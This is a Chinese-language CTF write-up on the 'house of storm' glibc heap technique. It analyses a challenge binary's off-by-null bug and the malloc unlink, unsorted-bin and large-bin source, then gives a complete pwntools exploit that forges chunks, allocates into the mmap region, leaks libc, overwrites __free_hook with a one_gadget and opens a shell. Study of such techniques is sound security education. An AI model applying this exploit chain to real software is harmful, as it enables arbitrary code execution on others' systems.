house of storm 的利用

題目邏輯

init_data

利用mallopt函數將fastbin關閉,並且通過mmap函數分配一段地址空間,空間的範圍爲0x13370000-0x13371000,通過fd=open("/dev/urandom",0)去獲取隨機數,並往0x13370800地址開始寫入24個字節。

for循環是將mmap開闢的地址填充隨機數異或後的結果。

add

輸入的size值的範圍爲0xc-0x1000,並且得到的堆塊地址以及輸入的size會通過異或再存入mmap的地址段中。

delete

show

show函數打印有前提條件,因此程序剛開始是不可以輸入信息的,需要修改後才能輸出。

edit

edit功能,輸入的size值只能是add時填入的size-0xc,因爲這0xc的空間會被自動填入數據,但是卻額外的填入了0字節,造成了off-by-null的漏洞。

源碼與分析

  • mallopt

  • mmap

  • unlink

  • unsortbin

mallopt

int mallopt(int param,int value)

  • param的取值可以爲

    • M_MMAP_MAX用於設置進程中用mmap分配的內存塊的最大限制,默認值爲64K。如果將M_MMAP_MAX設置爲0,ptmalloc將不會使用mmap分配大塊內存。

    • 用於設置mmap閾值,默認值爲128K,ptmalloc默認開啓動態調整mmap分配閾值和mmap收縮閾值。

    • 當用戶需要分配的內存大於mmap分配閾值,ptmalloc的malloc()函數其實相當於mmap()的簡單封裝,free函數相當於munmap()的簡單封裝。相當於直接通過系統調用分配內存,回收的內存就直接交還給操作系統。因爲大塊內存不能被ptmalloc緩衝管理,不能重用,所以ptmalloc也只有在不得已情況下使用該方式分配內存

    • mmap分配的好處

    • mmap分配的壞處

    • 因此mmap來分配長生命週期的大內存塊是嘴好的選擇,其他情況下都不太高效。

    • mmap的空間可以獨立從系統中分配和釋放的系統,對於長時間運行的程序,申請長生命週期的大內存塊就很適合。

    • mmap的空間不會被ptmalloc所在緩衝的chunk中,不會導致ptmalloc內存暴增。

    • 對於有些系統的虛擬地址空間存在洞,只能使用mmap()進行分配內存,sbrk()不能運行。

    • 內存不能被ptmalloc回收再利用

    • 會導致更多的內存浪費,因爲mmap需要按頁對齊。

    • 分配效率跟操作系統提供的mmap()函數的效率密切相關,Linux系統強制把匿名mmap的內存物理頁請0.

    • 用於設置mmap收縮閾值,默認值爲128KB

    • 用於設置fastbins保存chunk的最大大小,默認爲64B最大可以設置爲80B,若設置爲0,則表示不使用fast bins

    • M_MXFAST

    • M_TRIM_THRESHOLD

    • M_MMAP_THRESHOLD

    • M_MMAP_MAX

#ifndef M_MXFAST
# define M_MXFAST  1    /* maximum request size for "fastbins" */
#endif


int __libc_mallopt (int param_number, int value)
{
    mstate av = &main_arena;
int res = 1;  
if (__malloc_initialized < 0)
      ptmalloc_init ();
    __libc_lock_lock (av->mutex);  
    LIBC_PROBE (memory_mallopt, 2, param_number, value);  
/* We must consolidate main arena before changing max_fast
5149       (see definition of set_max_fast).  */
    malloc_consolidate (av);  
switch (param_number)
      {
case M_MXFAST:
if (value >= 0 && value <= MAX_FAST_SIZE)          
          {
            LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
            set_max_fast (value);
        }
else
          res = 0;
break;  
case M_TRIM_THRESHOLD:
        do_set_trim_threshold (value);
break;  
case M_TOP_PAD:
        do_set_top_pad (value);
break;  
case M_MMAP_THRESHOLD:
        res = do_set_mmap_threshold (value);
break;  
case M_MMAP_MAX:
        do_set_mmaps_max (value);
break;  
case M_CHECK_ACTION:
        do_set_mallopt_check (value);
break;  
case M_PERTURB:
        do_set_perturb_byte (value);
break;  
case M_ARENA_TEST:
if (value > 0)
          do_set_arena_test (value);
break;  
case M_ARENA_MAX:
if (value > 0)
          do_set_arena_max (value);
break;
      }
    __libc_lock_unlock (av->mutex);
return res;
}

mmap

void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
  • start:映射區的開始地址,設置爲0時表示由系統決定映射區的起始地址

  • length:映射區的長度。以字節爲單位

  • prot:期望內存保存標誌,不能與文件的打開模式重讀

    • PROT_EXEC:頁內容可以被執行

    • PROT_READ:頁內容可以被讀取

    • PROT_WRITE:頁可以被寫入

    • PROT_NONE:頁不可被訪問

  • flags:指定映射對象的類型,映射選項和映射頁是否可以共享。它的值可以是一個或者多個以下選項的組合

    • MAP_FIXED:使用指定的映射其起始地址,如果由start和len參數指定的內存區重疊於現存的映射空間,重疊部分將會被丟棄。如果指定的起始地址不可用,操作將會失敗。並且起始地址必須落在頁的邊界上。

    • MAP_SHARED:與其他所有映射這個對象的進程共享映射空間。對共享區的寫入,相當於輸出到文件。直到msync()或者munmap()被調用,文件實際上不會被更新。

    • MAP_PRIVATE //建立一個寫入時拷貝的私有映射。內存區域的寫入不會影響到原文件。這個標誌和以上標誌是互斥的,只能使用其中一個。

    • MAP_DENYWRITE //這個標誌被忽略。

    • MAP_EXECUTABLE //同上

    • MAP_NORESERVE //不要爲這個映射保留交換空間。當交換空間被保留,對映射區修改的可能會得到保證。當交換空間不被保留,同時內存不足,對映射區的修改會引起段違例信號。

    • MAP_LOCKED //鎖定映射區的頁面,從而防止頁面被交換出內存。

    • MAP_GROWSDOWN //用於堆棧,告訴內核VM系統,映射區可以向下擴展。

    • MAP_ANONYMOUS //匿名映射,映射區不與任何文件關聯。

    • //MAP_ANONYMOUS的別稱,不再被使用。

    • MAP_FILE //兼容標誌,被忽略。

    • MAP_32BIT //將映射區放在進程地址空間的低2GB,MAP_FIXED指定時會被忽略。當前這個標誌只在x86-64平臺上得到支持。

    • MAP_POPULATE //爲文件映射通過預讀的方式準備好頁表。隨後對映射區的訪問不會被頁違例阻塞。

    • MAP_NONBLOCK //僅和MAP_POPULATE一起使用時纔有意義。不執行預讀,只爲已存在於內存中的頁面建立頁表入口。

  • fd:有效的文件描述詞。一般是由open()函數返回,其值也可以是爲-1,此時需要指定flags參數中的MAP_ANOP,表明進行的是匿名映射。

  • off_toffset:被映射對象內容的起點。

/dev/urandom

利用/dev/urandom文件創建隨機數

從unsortbin取出堆塊的源碼

源碼截取自glibc-2.27/malloc/malloc.c:3729

unlink

從largebin中申請堆塊

思路

##step 1

利用off-by-null 漏洞,實現chunk shrink

add(0x28)#0
add(0xaa0)#1 利用Off-by-null的漏洞,實現堆塊的收縮,完成堆塊的重疊
add(0x80)#2  該堆塊的prev_size會爲0xab0且不會被修改
add(0x80)#3 防止與top chunk合併
edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))#設置prev_size域繞過unlink檢測
delete(1)
edit(0,0x28-0xc,'a'*(0x28-0xc))#觸發off-by-null漏洞
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6  
add(0x80)#7
# trigger unlink
delete(1)
delete(2)#觸發unlink,完成堆塊的堆疊

**這裏解釋下edit的原因**

edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))

off-by-null之前

off-by-null之後

由於off-by-null的原因,size域的最低字節被0字節覆蓋了

add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6  
add(0x80)#7

此時需要將unsortbin的空閒chunk申請出來,爲什麼這樣申請,後續有說明。當申請堆塊時,由於fastbin,smallbin都沒有符合要求的堆塊,因此會遍歷unsortbin找到是否有合適的堆塊,沒有則斷開雙鏈,將unsortbin裏面的堆塊放到合適的bin裏面,而此時位於unsortbin裏的空閒chunk的大小爲0xa00,是屬於largebin裏的,因此會先將空閒chunk放進largebin中,再通過unlink操作從largebin中分隔適合的堆塊出來。翻看一下源碼。

從unsortbin解鏈,放進largebin中

/* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
//unsortbin的bk指針指向倒數第二個堆塊
          bck->fd = unsorted_chunks (av);
//倒數第二個堆塊的fd指針指向unsortedbin
//把unsortbin的最後一個堆塊取出來
      ......
          victim->fd_nextsize = victim->bk_nextsize = victim;    
//vitctim爲從unsortbin中取出的堆塊

從largebin中申請堆塊

if ((victim = first (bin)) != bin &&
              (unsigned long) (victim->size) >= (unsigned long) (nb)) //判斷largebin是否爲空以及判斷請求的size是否小於largebin中最大塊的size
            {
              victim = victim->bk_nextsize; 
//通過bk_nextsize指針遍歷,從小到大找堆塊
while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb))) //直到找到的堆塊size值大於或等於請求的size值
                victim = victim->bk_nextsize; 


/* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
if (victim != last (bin) && victim->size == victim->fd->size) //若申請的chunk存在着多個結點,則申請結點,而不申請堆頭
                victim = victim->fd;


              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //unlink操作取出堆塊

可以發現從largebin取出堆塊是通過unlink操作的,那麼我們就需要繞過unlink檢測

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))  
//檢查P堆塊的size域與P的下一個堆塊的prev_szie域是否一致
      malloc_printerr ("corrupted size vs. prev_size");

這裏的p堆塊即需要取出的largebin,在unlink的第一個條件是需要判斷當前堆塊的size域與下一個堆塊的prev_size域是否一致。

若我們不eidt去僞造prev_size域則可能造成

可以發現與unlink第一個判斷條件的報錯輸出一致,即沒有繞過unlink的檢測,因此edit是爲了構造

(chunksize(P) == prev_size (next_chunk(P))

構造兩個largebin大小的堆塊

add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6    
add(0x80)#7

這裏我們需要構造兩個largebin大小的堆塊,用於後續的操作。

觸發unlink

delete(1)
delete(2)

由於通過off-by-null的漏洞將堆塊的size收縮了,但是由於空閒塊的管理機制,被釋放掉的堆塊的下一個堆塊的prev_size域會記錄其大小,因此觸發unlink可以實現堆塊的堆疊

接着觸發unlink

實現了堆塊的堆疊

##step 2

mmap_addr = 0x13370800-0x10
add(0x80)#1
add(0x420)#4 unsortchunk
add(0x80)#5
add(0x410)#6 largechunk  
add(0x80)#7
....
....
delete(6) #largechunk
add(0x500)#2
delete(4) #unsortchunk
#unsortchunk
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)
#largechunk
payload += 'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += 'a'*0x80
payload += p64(0)+p64(0x421)  
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)

首先通過剛剛排好的堆塊實現,unsortbin與largebin的攻擊,而且unsortbin堆塊的大小需要比lagrebin堆塊的更大。

首先僞造unosrtbin堆塊的bk指針,使得可以完成任意地址堆塊分配

#unsortchunk
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)

回頭看看源碼

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
.....
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;

若我們申請的size與unosrtbin中的堆塊的size值一致,則直接取出

unsortchunk爲一開始我們放入unsortbin的chunk,修改bk指針使得它指向我們想要獲得的chunk

unsortbin第一次遍歷時,我們放入unsortbin中的chunk會被斷開雙鏈並放入largebin中,並且target_chunk會成爲unsortbin的bk指針指向的chunk,並且在第二次遍歷時,由於我們申請的chunk與target_chunk的size值一致,因此我們會直接取出target_chunk,達到了任意堆塊的分配,那麼想要完成這種攻擊則需要僞造target_chunksize值。

利用largetbin的攻擊,僞造target_chunk的size值與target_chunk的bk指針

#largechunk
payload += 'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += 'a'*0x80
payload += p64(0)+p64(0x421)  
payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk
payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize

首先是僞造target_chunk->bk指針

payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk

回過頭看下largebin是如何從unsortbin中放入largebin的

else
                        {
//否則vitcim自己成爲堆頭
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
//fwd爲控制的堆塊
                    }
                    .....
                    mark_bin (av, victim_index);
                    victim->bk = bck;
                    victim->fd = fwd;
                    fwd->bk = victim;
                    bck->fd = victim;

victim爲我們從unsortbin取出來的unsortchunkfwd爲我們放進largebin中的largechunk

 bck = fwd->bk; //即bck = largechunk->bk
 ....
 bck->fd = victim;//bck->fd = unsortchunk_addr

再將unsortchunk放入lagrgebin的鏈表中時,需要訪問largechunk的bk指針指向的內容,因此largechunk->bk指針指向的地址必須是有效的。

第二需要注意的點,當我們需要從unsortbin的鏈表中直接獲取堆塊時,需要注意要通過unsortbin的檢測

          unsorted_chunks (av)->bk = bck;
          //bck指的是target_chunk->bk
          //unsortbin的bk指針指向倒數第二個堆塊
          bck->fd = unsorted_chunks (av);
          //需要訪問到target_chunk->bk->fd,因此target_chunk->bk需要是有效地址

可以看到當我們需要取出target_chunk時,會需要訪問到target_chunk->bk指針指向的地址,因此該地址也必須有效,否則會報錯。藉助

bck->fd = victim;//bck->fd = unsortchunk_addr

bck爲我們僞造的largechunkbk指針,若我們將該bk指針僞造爲target_chunk+8

(target_chunk+8)->fd = target_chunk->bk = victim
//成功將target_chunk->bk指針指向有效地址

僞造target_chunk的size域

payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize

回顧從unsortbin解除鏈接,放入largebin的過程

//victim爲unsortchunk
//fwd爲largechunk
              victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
//fwd->bk_nextsize是我們僞造的地址,並且將該地址賦值給unsortchunk->bk_nextsize
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
//victim->bk_nextsize已經被賦值爲我們僞造的地址即fake_addr
//將unsortchunk的地址賦值給fake_addr->fd_nextsize

可以看到我們僞造的bk_nextsize的值,可以被unsortchunk的地址所賦值,我們目標是將target_chunksize域給修改成我們希望的值,由於程序開啓了pie,當開啓pie時堆塊的地址的最高字節一般爲0x550x56,那麼我們只需要將堆塊的高字節部分被填寫入targetchunksize域則完成size域的僞造則

//fake_addr的值爲victim->bk_nextsize,即爲fwd->bk_nextsize,即爲我們僞造的bk_nextsize
fake_addr -> fd_nextsize = victim;
//僞造targetchunk的size域
target_chunk - 0x18 - 5 = victim;

`target_chunk-0x18是使得victim->bk_nextsize落於targetchunksize域,由於堆塊爲6個字節,因此要將使得最高字節落入size域需要再-5,便可將堆塊的最高字節落入size域,使得targetchunksize域爲0x550x56`,這裏注意小端模式。

但是需要堆塊的高字節爲0x56才能申請成功,這是因爲

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));

程序會通過標誌位判斷該堆塊是否爲mmap申請而來。

僞造後的堆塊

##step 3

當我申請成功後,就獲得了在mmap地址段寫能力,也就能夠完成任意地址寫了,這裏需要注意的是,由於我們將mmap的地址放入unsortbin地址取出,此時mmap的fd與bk指針會被修改爲main_aren與堆塊地址,即異或隨機數被修改爲main_arean與堆塊地址了

接着修改後續內容使得程序的show功能啓用,利用任意地址寫進而getshell

exp

from pwn import *
#sh = remote("node3.buuoj.cn",26774)
sh = process("./pwn")
libc = ELF("libc.so.6")
def add(size):
  sh.recvuntil("Command:")
  sh.sendline("1")
  sh.recvuntil("Size: ")
  sh.sendline(str(size))
def edit(index,size,content):
  sh.recvuntil("Command:")
  sh.sendline("2")
  sh.recvuntil("Index: ")
  sh.sendline(str(index))
  sh.recvuntil("Size: ")
  sh.sendline(str(size))
  sh.recvuntil("Content: ")
  sh.send(content)
def delete(index):
  sh.recvuntil("Command:")
  sh.sendline("3")
  sh.recvuntil("Index: ")
  sh.sendline(str(index))
def show(index):
  sh.recvuntil("Command:")
  sh.sendline("4")
  sh.recvuntil("Index: ")
  sh.sendline(str(index))
mmap_addr = 0x13370800-0x10
#step 1 chunk shrink
add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))
delete(1)
edit(0,0x28-0xc,'a'*(0x28-0xc))
add(0x80)#1
add(0x420)#4 unsortchunk
add(0x80)#5
add(0x410)#6 largechunk  
add(0x80)#7
# trigger unlink
delete(1)
delete(2)


add(0xb30)#1
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += 'a'*0x420+p64(0)+p64(0x91)
payload += 'a'*0x80+p64(0)+p64(0x421)
payload += 'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,len(payload),payload)


delete(6)
add(0x500)#2
delete(4)
#unsortbin
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)
#largebin
payload += 'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += 'a'*0x80
payload += p64(0)+p64(0x421)  
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)
#get target chunk


add(0x48)#4
attach(sh)
payload = p64(0)*3+p64(0x13377331)+p64(mmap_addr+0x10)+p64(0x80)
edit(4,len(payload),payload)
show(0)
sh.recvuntil("Chunk[0]: ")
sh.recv(0x60)
xor1 = u64(sh.recv(8))
xor2 = u64(sh.recv(8))
print 'xor1:'+hex(xor1)
print 'xor2:'+hex(xor2)
main_arena = xor1 ^ (mmap_addr+0x10)
print 'main_arena:'+hex(main_arena)
libc_base = main_arena - 0x3c4b78
print 'libc_base'+hex(libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
print 'free_hook:'+hex(free_hook)
system = libc_base + libc.symbols['system']
print 'system:'+hex(system)
one_gadget = libc_base + 0x4526a
payload = p64(0)*4+p64(free_hook)+p64(0x8)
edit(0,len(payload),payload)
edit(0,0x8,p64(one_gadget))


#attach(sh)


sh.interactive()

如果大家想要嘗試遠程的可以去https://buuoj.cn/裏面有許多往年的原題,是個很好的做題網站

總結

這是一道用於學習house of storm的題目,這道題目涉及的知識點較多unsortbin的循環取出,unlink操作,chunk overlapping等等,可以多看看源碼並且對知識做一個歸納總結。

參考連接

https://blog.csdn.net/u013920085/article/details/52847464
http://eternalsakura13.com/2018/04/03/heapstorm2/
https://mp.weixin.qq.com/s/m30WVySbRrah9GFPdwcGKw
https://xz.aliyun.com/t/5265
https://bbs.pediy.com/thread-225973.htm
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/implementation/basic-zh/#unlink

相關實驗:

通過write實現信息泄漏 

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111814115000001

(介紹信息泄露、GOT、PLT等相關概念,着重講解信息泄露在緩衝區溢出中的重要作用,爲你揭開CTF PWN題目提供的libc.so.6文件的神祕面紗。)

歡迎投稿至郵箱:[email protected]

有才能的你快來投稿吧!

投稿細則都在裏面了,點擊查看哦

重金懸賞 | 合天原創投稿漲稿費啦!

點擊這裏提升自己

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章